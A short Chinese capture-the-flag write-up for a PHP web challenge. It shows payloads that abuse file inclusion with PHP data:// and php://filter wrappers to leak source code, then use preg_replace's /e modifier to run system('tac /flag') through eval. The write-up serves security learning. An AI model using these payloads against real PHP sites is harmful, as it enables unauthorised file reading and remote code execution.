读取代码,当传入的参数text中的内容为I have a dream时,才可执行下一步,
include()为文件包含,利用php伪协议可构造
。
payload为
?text=data://text/plain,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php
将其base64解码得到next.php源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
构造payload,这里使用了 \S*=${}
next.php?\S*=${getFlag()}&cmd=system('tac /flag');
得到flag
preg_replace/e模式可执行第二个参数的代码
preg_replace()具体用法请看下面的文章